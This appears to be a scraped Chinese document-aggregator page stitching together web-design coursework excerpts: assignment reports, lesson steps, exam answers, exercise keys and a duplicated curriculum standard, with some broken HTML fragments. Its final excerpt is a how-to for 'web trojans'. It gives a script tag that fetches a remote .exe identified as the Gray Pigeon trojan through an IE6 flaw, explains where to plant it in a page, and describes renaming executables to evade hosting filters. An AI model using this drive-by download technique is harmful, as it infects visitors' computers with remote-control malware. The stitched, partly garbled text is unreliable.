第二步:制作内容 根据自己想要做网站的目的来设计组织网站的页面和内容。 构成网站页面的必备要素:

web设计基础报告-个人网页设计和实现

郑州轻工业学院 课程设计任务书 题目个人网站的设计与实现 院系 XXX XXX XXX X 专业班级XXX XXX XXX X 学号 XXX XXX XXX X 姓名 XXX 主要内容: 利用所学内容,设计个人网站 基本要求: 本系统制作一个个人网站,要求个人网站主题设计思想明确、思路清晰、颜色选择恰当、布局合理;多媒体(图像、音乐、滚动字幕)运用适当;Flash、框架运用合适;适当使用样式页(CSS)等。 主要参考资料等: 《Web设计基础》李开荣高等教育出版社 2008 《网站规划与网页设计》张兵义电子工业出版社 2008 《Web编程技术》历小军机械工业出版社 2009 完成期限:一周 指导教师签名: 课程负责人签名: 2010年 5 月日

目录 一、引言........................................................................... 错误!未定义书签。 1.1课题的背景......................................................... 错误!未定义书签。 1.2可行性研究......................................................... 错误!未定义书签。 二、需求分析................................................................... 错误!未定义书签。 2.1系统概述:......................................................... 错误!未定义书签。 2.2功能要求: (1) 三、总体设计................................................................... 错误!未定义书签。 3.1功能设计 (3) 3.2界面设计 (4) 四.详细设计与实现....................................................... 错误!未定义书签。 六、结语 (24)

网页设计期末复习 网页设计与开发

网页设计简答题: a.相对定位与绝对定位的区别?并举例说明。 相对定位的元素框会偏移某个距离。元素仍然保持其未定位前的形状,它原本所占的空间仍保留。 绝对定位的元素框从文档流完全删除,并相对于其包含块定位,元素原先在正常文档流中所占的空间会关闭元素定位后生成一个块级框。 b.制作菜单的常用方法? 【第一步】我们要先做一个容器(要求:ID为“nav”,宽度为960px,高度为:35px,位于页面水平正中,与浏览器顶部的距离是30px;)【第二步】盒子做好了,我们就要往里面放导航条中的容了“CSS学习学前准备入门教程提高教程布局教程精彩应用”,插入标签有序列表ul,单元格li新建样式—复合类型—#nav ul li{ float:left;};在li标签的CSS属性中加入“list-style:none;”【第三步】后面的文字全部贴着前面的文字。设置

  • 标签的宽度为100像素:【第四步】我们需要将上面的导航条做以下几个修改1)给上面的导航加上;2)

    文字大小修改为12px;3)并且规定样式,鼠标移上去和拿开的效果 c.图片与文字的对齐方式?(padding,margin,DIV的float、行高、对齐、背景图片设置属 性) 1. padding简写属性在一个声明中设置所有边距属性。不允许使用负值。可能的值auto、length、%、inherit 2. margin简写属性在一个声明中设置所有外边距属性。该属性可以有1 到4 个值 可能的值auto、length、%、inherit 3. float定义元素在哪个方向浮动none、left 、right、inherit(规定应该从父元素继承float 属性的值) 4. line-height属性可设置行间的距离,不允许使用负值。 5. text-align 属性规定元素中的文本的水平对齐方式。 图像由标签定义。 是空标签,意思是说,它只 包含属性,并且没有闭合标签。 DIV中设置CSS的两种方式(联和外联方式代码) 外联:是指把样式写在一个CSS文件过link标签导入到页面中 例如: 1. 2. 联:是指在同一个页面文件中,统一写出在head style标签中,要使用联样式,你需要在相关的标签使用样式(style)属性。Style 属性可以包含任何CSS 属性。 本例展示如何改变段落的颜色和左外边距: d.ul与li的设置。

      标签定义无序列表。(ul是unordered lists的缩写)ul标签是成对出现的,以
        ;开始,
      ;结束每一列使用
    • ;标签定义在html中
    • 是一对标记,表示有序列表或者无序列表的项目。如果在
        标记之间,则表示无序列表。

        制作个人网页教学

        第十五课制作个人网页 教学要求: 1、教会学生学习自己制作个人网页。 2、教会学生学习自己组织素材。 3、教会学生学习自己加工素材的文字和图片。 4、教会学生学习自己熟练的运用超级链接。 教学重点和难点 有一个好的构思再加上丰富的素材和内容才能编辑一人好的个人网页。 教学时间: 2课时 教学步骤: 第一课时:

        个人也可以把制作的网页放到因特网上,建立自己的网站,这就是人们通常所称的个人网页。个人网页可以简单到只有一个网页,也可以由成百上千个相互链接的网页组成。 例:制作由以下3个网页组成的个人网页。 要求: ①“吕工田的个人主页”中“欢迎光临”这几个字是一幅字幕。 ②单击“吕工田的个人主页”中的“个人档案”或“网站惟荐”这几个字,会分别链接到“个人档案”或“网站推荐”网页。 ③单击“个人档案”或“网站推荐”网页中的“返回主页”这几个字,就可以链接到“吕工田的个人主页”上。 ④单击“网站推荐”网页中的“少儿搜索”等网站名称,就可以链接到相应的网站上。 一、准备材料 1、建立文件夹 建立一个放置网页及制作网页所需要材料的文件夹,如在D盘中建立“吕工田的个人主页”文件夹。

        2、在网上找到并保存所需要的图片 操作步骤 第一步:进入一个搜索网站,如新浪搜索网站。 第二步:在搜索框中输入“迎客松”三字,再在搜索框下面的几种搜索类别中选择“中文网页”。 第三步:单击按钮,屏幕上会显示出新浪搜索引擎所找到的与“迎客松”有关的中文网页。 第四步:打开这些网页,找出有"迎客松"图片的。 第五步:把鼠标指针移到图片上,单击石键后出现快捷选单。 第六步:单击选单中的“图片另存为(S)”命令,出现“保存图片”对话框。 第七步:把图片以“迎客松”为文件名保存在“吕工田的个人页”文

        网页设计个人总结最新精选5篇范文

        网页设计个人总结最新精选5篇范文 ----WORD文档,下载后可编辑修改---- 篇一网页设计个人总结 设计工作是痛苦与快乐的炼狱,每当面临新的设计任务时,因为觉得自己的水平不够,感觉充满了压力,开始搜集各种资料,接下来寻找设计灵感,沉思、焦灼,每当经过艰苦的磨砺,自己的劳动成果得到肯定时,便是工作中的快乐!充满了快意。 一、工作总结 从开始连效果图都做不好到现在能自己套程序,虽然自己也付出了努力,但是更离不开同事们的帮助。在这三个月里,我学习了制作网页的基础知识。从配色到布局,从制作效果图再到切片,再到用dw制作网页,最后套程序。每一个环节我都没有松懈,不管是在公司还是回到家里,我都会充分利用时间来学习,补充自己贫瘠的知识。虽然现在的水平还远远不够,但是扪心自问,我在远洋的每一天都是充实的,没有虚度,我相信在新的一年里,通过自己的努力和同事们的帮助,我会学到的东西,不管是在技术水平上还是其他方面,都更上一层楼。 二、工作中的不足 虽然通过三个月的努力,技术水平有所提高,但是还是存在很多不足的地方,因为基础打的不够好,很多地方学习起来有些吃力,不停的问同事,也给别人带来了不少麻烦,因为知识的不足,使得开始的学习有些混乱,感觉不知道从哪里开始学起,无从下手,浪费了不

        少时间。 三、新一年的目标 过去的一年的整体上是紧张的、忙碌的、充实的。因为我刚刚来到远洋,所以对我来说这也是充满希望的一年。展望新的工作年度,希望能够再接再砺,同时也加强自身的能力,工作中与同事多沟通,多关心了解其他部门的工作性质,进一步提高自己专业知识技能,积极吸收新的观念与设计理念,要继续在自己的工作岗位上踏踏实实做事,老老实实做人,争取做出更大的成绩来。 我们经过痛苦煎熬,终于做出来的时候倍感轻松。 篇二网页设计个人总结 根据岗位职责的要求,我的主要工作任务是: (1)负责对外宣传,具体包括工业园网站建设、二期招商画册的设计制作及参加相关展会等; (2)日常接待工作; (3)相关活动的策划及筹备; (4)担任讲解工作; (5)领导交办的其他工作。 通过完成上述工作,使我认识到一个称职的招商主管应当具有良好的语言表达能力、流畅的文字写作能力、网站建设维护能力、大型活动的策划及筹备能力。目前我在网站建设、大型活动的策划方面存在不足。在网页制作的过程中我发现,根本无法适应精美网页的制作要求,于是重新学习了新的网页制作软件dreamweaverm及图形处理

        网页设计与制作课程标准

        网页设计与制作课程标 准 公司内部编号:(GOOD-TMMT-MMUT-UUPTY-UUYY-DTTI-

        《网页设计与制作》课程标准前言: 《网页设计与制作》是理实一体化课程,是计算机专业(软件与信息服务、数字媒体、计算机应用专业)的一门重要的专业必修课。本课程定位于WEB技术开发工作岗位。它是WEB前端技术开发的必备课程,在整个课程体系中具有重要的作用, 一、课程的说明: 通过本课程的学习,使学生了解网页设计技术的起源和发展、常用的网页制作软件及HTML语言,掌握运用Dreamweaver(以下简称DW)网页制作软件制作网页的方法,通过运用Photoshop图像处理软件和Flash动画制作软件,三个软件互相配合,完成网页设计与制作任务的方法。为今后从事网页设计与制作、网站开发和管理奠定基础。在网页设计的实践中重点培养团队协作、沟通交流能力,培养自主学习能力和探索创新能力。 二、课程内容与基本要求: 该课程涉及的知识是网页设计人员必备的基本技能,职业活动与课程内容的对应关系如下:

        三、教学目标 1、职业关键能力目标 (1) 掌握使用Photoshop进行图像处理的基本方法及操作技能 (2) 掌握DreamweaverCS5的基本知识及操作技能 (3) 掌握建立与管理站点的方法 (4) 掌握制作主要内容为文本的网页的方法 (5) 掌握在网页中插入与编辑图像的方法 (6) 掌握在网页中插入多媒体元素的方法 (7) 掌握表格处理与网页布局的方法 (8) 掌握创建超级链接的方法 (9) 掌握使用框架制作旅游网站的方法 (10) 掌握创建和使用模板的方法 (11) 掌握创建和使用库的方法 (12) 掌握在网页中添加AP Div的方法 (13) 掌握在网页中使用行为的方法 (14) 掌握HTML基础知识及通过代码修饰网页的方法 (15) 掌握使用CSS样式表修饰网页的方法 (16) 掌握动态网页的概念及简单动态网页的制作方法

        制作个人网页的步骤

        ■制作个人网页的步骤 一、准备材料 你首先做一个小计划,准备在主页上告诉人家什么?比如介绍三个方面:自我介绍,我的爱好,我的工作,那你就先起一个总目录(文件夹,比如d:\html),来放你的所有文件,然后再在这个目录建立三个子目录:myself,interest,job。文件名你可以任意,但最好全部小写,因为有的主机要认大小写。然后将你的材料copy 进相应的子目录。比如你要在你的主页里展示你的靓照,那就将你的照片扫描成JPG格式的文件,放在myself的目录下. 要注意,网上只能使用JPG和GIF两种图象格式,其他诸如BMP和TIF等很通用的格式都不能用在网上,因为它们太大了,但你可以用图象软件进行转换,比如Office 97的照片编辑器。把你准备在你主页上出现的图象放进相应的目录里后,你就可以开始制作了。 二、开始制作 你无须去记复杂的HTML语言,你可以用Netscape4.0或者WORD7.0,我用的是Frontpage.打开Netscape,在file菜单里选Edit Page,便可以制作了.文字的处理基本跟Word没什么两样,关键是插入图片和产生链接.我们先做关于你自我介绍的一页,你先写上“大家好,我是superboy,下面是我的照片:”这时要放图片了,只须点击Insert菜单,选取Image,在Choosefile里选取你的图象文件即可,然后把这个文件保存为myself.html文件,放在myself的目录下。好,现在必须做封面了,你在封面写:“欢迎来到superboy的主页”以下是“自我介绍,我的爱好,我的工作”。你的自我介绍要链接到下一页去,你只须用鼠标选“自我介绍”后按鼠标右键,再选create link,然后再选你myself目录下的myself.html,就将“自我介绍”链接到下一页了,以后在浏览器中一按,就可以跳到镶有你靓照的页面啦。

        网页设计课程设计报告

        网页设计课程设计报告 系别:计算机科学系 班级:09级计师二班 姓名:邓桂香 学号:200914340229 指导教师:李发英 成绩: 日期:2011年5月

        网页设计课程设计报告 一、网站设计目的和任务 一学期的网页设计理论和实践课程都结束了,根据老师的要求及指导,我设计了此网站,本网站属于小型个人网站,目的在于简单的介绍一下个人状况,可以使老师和同学们更进一步的了解我现在以及部分过去的情况,加强老师和同学们对我的认识,深化我们大家的情谊,有利于以后在学习、工作生活当中的团结协作。 此外,这不仅是为了肩负学生的责任而去完成老师交给我的任务,更是对过去学习的知识的温习巩固,是一个把理论转化为实践的过程,是一个把自己的设计思想转化为实物的过程,是一个发挥自己创造力和想象力的过程。 再者,这是对自己在一学期内该学习科目以来的成果的检查,这是一个自我审视的过程:检测我该学期的学习成果,衡量一期以来的收获,更为重要的是扬长避短,发现自己的问题与缺点,使自己及时改正,发觉自身的优点和长处并坚持发扬,有利于我以后的学习和发展。 二、网站主题 本网站以个人从小到现在的大概情况介绍为主题,阐述喜好,表现本人的性格特点。

        三、网站规划思想 当今社会,靠什么成功?很多成功人士都说过这样一句话:“成功来自百分之八十的人际关系和百分之二十的自身天分和努力。”据此可以发现,扩大人际关系网是十分重要的一项活动,因此就需要一条联系两方的桥梁,这条桥梁是满载信息的大流量的通道,在这信息时代,于是网络成为了这当之无愧的桥梁。我设计这个网站的思路就来源于此。 怎样让更多人了解你?怎么使别人更了解你?怎样扩大自己的接触面?当代是繁忙的一代也是讲究高效率的一代,当今面对这些问题,这时候的内敛不会被认为是好的,最好的解决办法我认为是把自己推销出去,我想通过网络把自己的概况晾晒,方便别人更快捷更省事地得到相关信息,通过这种方式,也可以交到志同道合的朋友,可以一起研究探讨,相互促进,达到共赢。 既然这样,那么网站的风格自然是温和、高雅、柔美的,这样才能达到更高的亲和力效果,同时也应该具有喜悦性、创新性、活泼开朗性,展现个人品格及魅力。最重要的是要呈现一个真诚的自我在大家面前,树立可信性、诚实性,消除虚拟因素,获得大家的真诚对待和好感。 在内容和结构上,具体如下: 整个网站分为九个页面,分别为:主页面、基本信息、个人照片、成长阶段概况(童年、中学、大学)、兴趣爱好(文学、书法、

        网页设计与制作复习提纲

        《网页设计与制作》复习提纲 第一章: 1、URL的结构和含义 答:含义:统一资源定位器。,即互联网上一个资源唯一的地址 结构:协议://主机的域名:/端口/路径/文件名以及文件的扩展名 2、叙述网站制作的流程 答:确定主题、搜集材料、规划网站、制作网站、测试评估、正式上传、推销网站、维护更新 3、网站规划的主要内容是什么? 答:(1)主题栏的设置 (2)目录结构设计 (3)颜色搭配 (4)网站标志logo (5)版面布局 (6)图像的运用 4、确定网站主题时一般要遵循哪些原则? 答:(1.)主题鲜明。一个网站必须要有一个明确的主题,在主题范围内做到内容全而精(2)明确设立网站的目的 (3)体现自己的个性。把自己的兴趣爱好尽情的发挥出来、突出自己的个性,办出自己的特色 5、制作网站主要包括哪些步骤? 答:(1)建立本地站点。建立站点根文件夹,用于存放首页、相关网页和网站中的其他文件(2)在站点根文件夹下创建子文件夹。为了使文件安排比较清晰,将页面文件和图像文件分开存放(3)向站点添加所需要的空网页 (4)设计网页的尺寸 (5)设置网页属性,也包括页面标题、背景图像、背景颜色、链接颜色、文字颜色等 第二章: 1、HTML语言的含义和功能是什么? 答:含义:超文本标记语言 功能:(1)声明网页的整体框架 (2)引用外部资源,通过地址的方式引用出来 2、HTML语言的表单标记的属性中,GET和POST方式的区别是什么? 答:get 方式的传输有数据上的限制,只能是一个个的。而post 方式的传输没有数据量的限制,并以文件形式传输。,把多的元素打包整体上传 第三章: 1、网站主页的文件名一般是什么? 答:Index 或default 2、什么是超级链接?有什么作用? 答:在一个资源上面,内部包含一个指向其他文件的指针(内部包含的地址) 作用:在用户需要的时候,指向的资源。建立网页之间的联系 3、在Dreamweaver MX 2004中,为网页添加标题有哪些方法? 答:(1)直接在Dreamweaver MX 2004文档工具栏的“标题”框中输入新标题 (2)选择【查看】【文件头内容】菜单命令,显示出文件头部分的内容,单击“标题”按钮,在属性面板框中输入新标题

        个人网页制作全过程

        个人网页制作全过程 [日期:10-12] 来源:作者:[字体:大中小] 如何制作个人网页全过程,送给刚学做网页的朋友们 第一讲网页的基本知识和FrontPage入门 一、网页的基本知识 1、网站与网页 我们在因特网上浏览时,看到的每一个页面,称为网页,很多网页组成一个网站。一个网站的第一个 网页称为主页。主页是所有网页的索引页,通过单击主页上的超链接,可以打开其他的网页。正是由于主 页在网站中的特殊作用,人们也常常用主页指代所有的网页,将个人网站称为“个人主页”,将建立个人网 站称为“网页制作”。 2、怎么建立个人网站? 要建立一个个人网站,必须经过网页制作、网站(页)发布和网站维护三个阶段 1)网页制作 一个网站和一本杂志一样,都是展示信息的载体,只有能提供他人需要信息(内容)的网站才能吸引 他人访问。这些都要靠制作有内容的网页来完成。确定网站主题和后,制作网页是建立个人网站的首要工作。 每个网页基本上都是一个HTML(Hyper Text Markup Language,即超文本标识语言)文件,所以网页文件的扩展名一般是.HTM或.HTML。主页文件的文件名字index.htm或index.html。 一般在电脑上写文章使用Word、Wps等文字处理软件,而制作网页则可使用Frontpage等网页制 作工具。 2)网页发布 做好的网页必须发布到因特网上,才能被大家看到。所谓发布到因特网上实际上就是将网页文件放到 始终与因特网联机的计算机上,这种计算机被称为“服务器”。实际上家里的PC机安装相应的服务器软件 且有固定的IP地址也可以做服务器,但一般都借用单位网站的服务器或租用一些空间提供商的服务器空间。这就和你要开商店必须租用一个场地一样。 3)网站维护 网页发布后就可供大家访问了,不管在什么地方,只要是与和因特网相连的计算机都可以访问到你的 网页。但这没有万事大吉。就和报纸、杂志一样,总是老内容,也就没人来访问了。需要经常更新,补充 新内容。另外网页上的错误也需要及时改正。实际上网站维护是网站建设的主要工作量。 2、什么软件可以做网页? 假如,你熟悉文字处理的相关软件,你不用专用软件,也可以作出网页来。比如,用Word,用Wps,甚至用你计算机附件自带的记事本也行。不过用Word做出来的网页体积太大,用记事本做网页则要会用一些HTML语言,而用HTML来制作网页是一件非常麻烦的事。FrontPage等网页制作工具则使我们可 以不必和这些难记、难懂的HTML代码打交道就作出较好的网页来。 初学的人,用微软公司的frontpage比较好,它的优点是易学易懂,上手快。FrontPage是微软公 司Office系列办公软件中的一个,它很好地实现了主页制作者与HTML的分离。就像在Word中编辑文 本一样,我们只需要在编辑器中输入文本或图片,并设置好格式,很快就可以作出一个简单的网页了。 除了Frontpage以外,还有许多制作网页的软件,如Hotdog等,其中最著名的是Macromedia公司的“网页三剑客”即Dreamweaver(网页制作工具)、Flash(动画制作工具)和Fireworks(图像编 辑工具)。 假如,你有了一定基础,还是用“网页三剑客”好。它们是专用的网页制作软件,用它们制作的网页, 体积小,占用资源少,兼容性好。 所以本讲座也从FrontPage入手学习网页制作。大家先学好FrontPage,打好基础,如果将来准备

        网站设计与Web应用开发技术(第二版)习题答案

        附录各章习题参考答案 第1章习题参考答案 1. 答:Internet是一个宽泛的概念,WWW实际上Internet所提供的众多服务中的一项。由于很多人上网主要浏览网站,很多初学者容易混淆这两个概念。 2. 答:统一资源定位符(URL)用于定位某个资源,由于Internent的复杂性,其提供的服务及传输协议有很多种,为了能区分,URL中必须进行说明,此处的http就是为了说明该请求属于超文本传输协议;URL的概念比较宽泛,http只是其中的一种传输协议,也可能出现别的情况,比如ftp等。。而www则是所请求服务器的域名,有些服务器的域名中就不包含www。 3. 答:其实技术是没有好坏之分的,关键在于是否适合你所应用的环境以及你是否能掌握。一味的求新、求好是没有经验的开发者所采取的行动。我们不应该单纯追求技术的先进性,而要追求有效和实用,当你要实现一个方案时,要分析项目的性质及最终用户,然后再寻找能解决问题的最经济、最实用也能满足用户需要的手段。因为用户并不关心你采用多么先进的技术,用户关心的是可靠(Reliable)、快速(Rapid)、方便(Convenient)。 4. 答:可以根据上文提供的基本原则,进行区分。不过有些网站不能截然的划分成其中的某一种。平时上网时多观察,多思考,对于提高自己的能力有很大的帮助。 5. 略 第2章习题参考答案 1.答:主要包括以下几个步骤(1) 建立网站前的市场分析,(2) 建设网站目的及功能定位,(3) 网站的技术解决方案,(4) 网站内容规划,(5) 网页界面设计,(6) 网站测试,(7) 网站发布与推广,(8) 网站维护,(9) 网站建设日程表,(10) 费用明细。详细内容可参考本书 2.2部分。 2.答:可以简单的通过两个方式进行判断: (1) 查看“管理工具”下是否有“Internet信息服务(IIS)管理器”,通过查看可以获知;这个方法可以获知本机是否使用了IIS服务,且仅对Windows操作系统有效。 (2) 直接在浏览器中输入“http://127.0.0.1”,看是否能看到有关信息(若安装的Web 服务器所设置的端口不是默认的80,则此方法无效)。 (3) 在本机执行netstat –a命令,查看是否存在Web服务器。 Web服务器的安装方法请查看本书2.4部分。 3.答:一般来说,这样就可以使用了,不过使用默认的配置可能会在将来出现问题。因此,通常我们需要进一步对网站进行配置。根据实际需要,一般来说,网站的安全性配置和网站的性能配置是需要修改的。

        网页开发与设计课后习题答案.(DOC)

        习题1 1.HTML指的是( A )。 A超文本标记语言(Hyper Text Markup Language) B家庭工具标记语言(Home Tool Markup Language) C超链接和文本标记语言(Hyperlinks and Text Markup Language) 2.web标准的制定者是( B )。 A 微软B万维网联盟(W3C)C网景公司(Netscape) 3.用HTML标记语言编写一个简单的网页,网页最基本的结构是( D )。 A … … B … C … D … … 4.从IE浏览器菜单中选择____查看 源文件______命令,可以在打开的记事本中查看到网页的源代码。 5.实现网页交互性的核心技术是_______ JavaScript _______________。 6.CSS的全称是________ Cascading Style Sheet __________ ______。 7.写出你了解的专业网页编辑制作工具_____Dreamweaver_,_ EditPlus ___________。8.URL的全称是____Uniform Resource Locator _____________________________。 9.写出URL包含的三个部分内容的作用。 URL通常包括三个部分,第一部分是Scheme,告诉浏览器该如何工作,第二部分是文件所在的主机,第三部分是文件的路径和文件名。 习题2 以下标记符中,用于设置页面标题的是( A )。 A B <caption> C <head> D <html> 以下标记符中,没有对应的结束标记的是( B )。 A <body> B <br> C <html> D <title> 文件头标记也就是通常所见到的____<head>…</head>_____标记。 创建一个HTML文档的开始标记符是___<html>______,结束标记符是____</html>_____。 标记是HTML中的主要语法,分____单_____标记和____双_____标记两种。大多数标记是____成对_____出现的,由____开始_____标记和_____结束____标记组成。 把HTML文档分为__头部_______和______主体___两部分。___主体______部分就是在Web浏览器窗口的用户区内看到的内容,而__头部_______部分用来设置该文档的标题(出现在Web 浏览器窗口的标题栏中)和文档的一些属性。 HTML4或XHTML1.0的三种文档风格是__严格型、过渡型____、框架型_____。 简述一个HTML文档的基本结构。 一个完整的HTML文件包含头部和主体两个部分的内容,在头部内容里,可定义标题、样式等,文档的主体内容就是要显示的信息。<html>标记通常会作为HTML 文档的开始代码,出现在文档的第一句,而</html>标记通常作为HTML文档的结束代码,出现在文档的尾部,其他的所有的HTML代码都位于这两个标记之间,该标</p><h2>《网页设计与制作》课程标准.doc</h2><p>《网页设计与制作》课程标准 前言: 《网页设计与制作》是理实一体化课程,是计算机专业(软件与信息服务、数字媒体、计算机应用专业)的一门重要的专业必修课。本课程定位于WEB技术开发工作岗位。它是WEB前端技术开发的必备课程,在整个课程体系中具有重要的作用, 一、课程的说明: 通过本课程的学习,使学生了解网页设计技术的起源和发展、常用的网页制作软件及HTML语言,掌握运用Dreamweaver(以下简称DW)网页制作软件制作网页的方法,通过运用Photoshop图像处理软件和Flash动画制作软件,三个软件互相配合,完成网页设计与制作任务的方法。为今后从事网页设计与制作、网站开发和管理奠定基础。在网页设计的实践中重点培养团队协作、沟通交流能力,培养自主学习能力和探索创新能力。 二、课程内容与基本要求: 该课程涉及的知识是网页设计人员必备的基本技能,职业活动与课程内容的对应关系如下:</p><p>三、教学目标 1、职业关键能力目标 (1) 掌握使用Photoshop进行图像处理的基本方法及操作技能 (2) 掌握DreamweaverCS5的基本知识及操作技能 (3) 掌握建立与管理站点的方法 (4) 掌握制作主要内容为文本的网页的方法 (5) 掌握在网页中插入与编辑图像的方法 (6) 掌握在网页中插入多媒体元素的方法 (7) 掌握表格处理与网页布局的方法 (8) 掌握创建超级链接的方法 (9) 掌握使用框架制作旅游网站的方法 (10) 掌握创建和使用模板的方法 (11) 掌握创建和使用库的方法 (12) 掌握在网页中添加AP Div的方法 (13) 掌握在网页中使用行为的方法 (14) 掌握HTML基础知识及通过代码修饰网页的方法 (15) 掌握使用CSS样式表修饰网页的方法 (16) 掌握动态网页的概念及简单动态网页的制作方法 2、职业专门能力目标 (1) 通过完成相关的项目,掌握网页设计的基本工作流程。 (2) 通过完成相关的项目,掌握网页设计常用工具的使用方法。 (3) 通过完成相关的项目,掌握网页布局及美化的基本方法。 (4) 通过完成相关的项目,掌握简单网页交互的制作方法。 3、方法能力目标 形成一定的学习能力、沟通与团队的协作能力,形成良好的思考问题、分析问题和解决问题的能力,养成良好的职业素养。遵守国家关于软件与信息技术的相关法律法规,形成关键性的软件开发与应用的能力。 四、教学内容 第一章网页制作基础知识(4学时) 教学目标: 网页与网站基本概念、网页基本组成元素、常用网页制作软件 主要教学内容:</p><h2>网页木马制作全过程(详细)</h2><p>如果你访问××网站(国内某门户网站),你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页,经检查,我确实中了灰鸽子。怎么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马;一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一些不怀好意者精心制作的网页木马。 以上只是网页木马的两种形式,实际上网页木马还可以挂在多媒体文件(RM、RMVB、WMV、WMA、Flash)、电子邮件、论坛等多种文件和场合上。很可怕吧,那么用户如何防范网页木马呢?下面我们就先从网页木马的攻击原理说起。 一、网页木马的攻击原理 首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。 有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗?如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序 <SCRIPT LANGUAGE="icyfoxlovelace" src="https://www.360docs.net/doc/394553780.html,/1.exe"></SCRIPT> 小提示:代码说明 a. 代码中“src”的属性为程序的网络地址,本例中 “https://www.360docs.net/doc/394553780.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序,这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去,但免费空间出于安全的考虑,多数不允许上传exe文件,黑客可能变通一下把扩展名exe改为bat或com,这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的</BODY>…</BODY>之间(如图1),然后用没打补丁的IE6打开,接下来,打开IE的临时目录<Temporary Internet Files>,</p></div> <div class="rtopicdocs"> <div class="coltitle">相关主题</div> <div class="relatedtopic"> <div id="tabs-section" class="tabs"> <ul class="tab-head"> <li id="11350952"><a href="/topic/11350952/" target="_blank">网页设计与开发</a></li> <li id="18952907"><a href="/topic/18952907/" target="_blank">bootstrap方法</a></li> <li id="19507215"><a href="/topic/19507215/" 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